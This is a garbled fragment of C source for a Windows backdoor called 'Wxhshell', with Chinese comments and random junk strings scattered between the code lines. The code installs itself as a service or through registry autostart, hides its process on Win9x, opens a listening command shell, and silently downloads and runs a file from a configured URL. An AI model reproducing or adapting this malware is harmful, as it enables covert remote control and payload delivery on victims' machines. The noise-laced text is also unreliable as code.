E| *Yjs$'_2 CloseHandle(hProcess); XArLL5_L %6:2cR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kg67cmj)f if(hProcess==NULL) return 0; Tj+WO6#V }`]^LFU5 HMODULE hMod; rt;>pQ9, char procName[255]; t\0JNi$2 unsigned long cbNeeded; #Og_q$})f 9K(b Z{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qT%E[qDS Q{kuB+s CloseHandle(hProcess); Z28@yD+ w$HC! if(strstr(procName,"services")) return 1; // 以服务启动 7w({ GZ ,%<77LE return 0; // 注册表启动 QKQy)g } %LmB`DqZ 3Mt6iZW // 主模块 z05pVe/5 int StartWxhshell(LPSTR lpCmdLine) !4fL|0 { b,`N;* SOCKET wsl; pqX=l%{4ES BOOL val=TRUE; K~G^jAk+ int port=0; c5u?\ struct sockaddr_in door; W;W\L? r ar%Rr" if(wscfg.ws_autoins) Install(); GM~jR-FZ S8t9Ms:
k port=atoi(lpCmdLine); C%h_!z": SM?<woY=* if(port<=0) port=wscfg.ws_port; I115Rp0 ='azVw%_ WSADATA data; I(|{/{P, if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aqgSr| \WEC1+@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >EG;2]M& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4BX*-t door.sin_family = AF_INET; 0'",4=c#V door.sin_addr.s_addr = inet_addr("127.0.0.1"); >FO=ioNY door.sin_port = htons(port); i[swOYz]X M_DkjuR if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [a2/`ywdV closesocket(wsl); }z6HxB]$ return 1; |RdSrVB } 5NK:94&JE _GS2&|7` if(listen(wsl,2) == INVALID_SOCKET) { 6AY%onY closesocket(wsl);
E2l. return 1; Fwtwf{9I } Z2r\aZ-d` Wxhshell(wsl); b`'
;`*AN+ WSACleanup(); Iq9+ e3.TGv7= return 0; /TdTo@ ?k-IS5G } $kdfY'u Ek:u[Uw\ // 以NT服务方式启动 ^gy(~u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gDH x+"? { "+Kr1nW DWORD status = 0; YV9%^ZaN7 DWORD specificError = 0xfffffff; |( KM 8 D6D*RTi4 serviceStatus.dwServiceType = SERVICE_WIN32; $JOIK9+3z# serviceStatus.dwCurrentState = SERVICE_START_PENDING; H74hv`G9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '7$v@Tvnre serviceStatus.dwWin32ExitCode = 0; jhHb[je~{4 serviceStatus.dwServiceSpecificExitCode = 0; M30_b8[Y_ serviceStatus.dwCheckPoint = 0; HH dc[pJ0D serviceStatus.dwWaitHint = 0; S5;q)qz2J ?r/7: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ls=<c< if (hServiceStatusHandle==0) return; jRGG5w} kb>9;-%^JK status = GetLastError(); Y?> S.B7 if (status!=NO_ERROR) i''dY!2 { {^~{X$YI serviceStatus.dwCurrentState = SERVICE_STOPPED; 3.>jagu serviceStatus.dwCheckPoint = 0; uzsR*x%s- serviceStatus.dwWaitHint = 0; i"r=b%;; serviceStatus.dwWin32ExitCode = status; v<O\ l~S serviceStatus.dwServiceSpecificExitCode = specificError; ]M_)f SetServiceStatus(hServiceStatusHandle, &serviceStatus); $.`(2 return; 8ciLzyrY* } -Z:al\e<g Z:'2puU+? serviceStatus.dwCurrentState = SERVICE_RUNNING; i
cZQv] serviceStatus.dwCheckPoint = 0; P0W%30Dh serviceStatus.dwWaitHint = 0; hcej?W8j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7IHWj< } `toSU>: -WEiY // 处理NT服务事件,比如:启动、停止 z\fk?Tj<ro VOID WINAPI NTServiceHandler(DWORD fdwControl) bju0l[;= { ;DGp7f#9 switch(fdwControl) CnAh Ef)b { DRw%~ case SERVICE_CONTROL_STOP: YTY0N5[" serviceStatus.dwWin32ExitCode = 0; v%_sCg serviceStatus.dwCurrentState = SERVICE_STOPPED; ])e6\) serviceStatus.dwCheckPoint = 0; :5;[Rg5
2 serviceStatus.dwWaitHint = 0; S!rUdxO { -O2QzzE& SetServiceStatus(hServiceStatusHandle, &serviceStatus); )U8F6GIC&} } XfB;^y=u8 return; .3$iOMCH case SERVICE_CONTROL_PAUSE: zS.7O'I<' serviceStatus.dwCurrentState = SERVICE_PAUSED; 1`b?nX break; UUX
_x?BD case SERVICE_CONTROL_CONTINUE: Lc+)#9*d serviceStatus.dwCurrentState = SERVICE_RUNNING; W&GDE break; Rnj2Q!C2 case SERVICE_CONTROL_INTERROGATE: _QCAV+K' break; |Y:T3hra61 }; 6?2/b`k SetServiceStatus(hServiceStatusHandle, &serviceStatus); G>cTqD6gT } ;u, 5
2 mh|M O( // 标准应用程序主函数 nLYyS# int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BC&Et62* { ^1}}-9q r)ga{Nn,. // 获取操作系统版本 owQLAV OsIsNt=GetOsVer(); gn7pIoN GetModuleFileName(NULL,ExeFile,MAX_PATH); eDG=-a4 AQ@A$ // 从命令行安装 ,X+071.( if(strpbrk(lpCmdLine,"iI")) Install(); L[rJ7: 3
nb3rHQ // 下载执行文件 h1J-AfV if(wscfg.ws_downexe) { <#sB ; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2qw~hWX WinExec(wscfg.ws_filenam,SW_HIDE); WF_G GF{ } %/s:G) =v1s@5;~ if(!OsIsNt) { wN"irXG // 如果时win9x,隐藏进程并且设置为注册表启动 *COr^7Kf5 HideProc(); ;<MHDmD StartWxhshell(lpCmdLine); {U7j } Eo)n(
Z9 else P !6r`d if(StartFromService()) t~gnai // 以服务方式启动 ?\.P StartServiceCtrlDispatcher(DispatchTable); {H"xC~. else %]RzC`NZ // 普通方式启动 B3e{'14 StartWxhshell(lpCmdLine); 2~~Q NWN m`E8gVC return 0; &&TQ0w&T }
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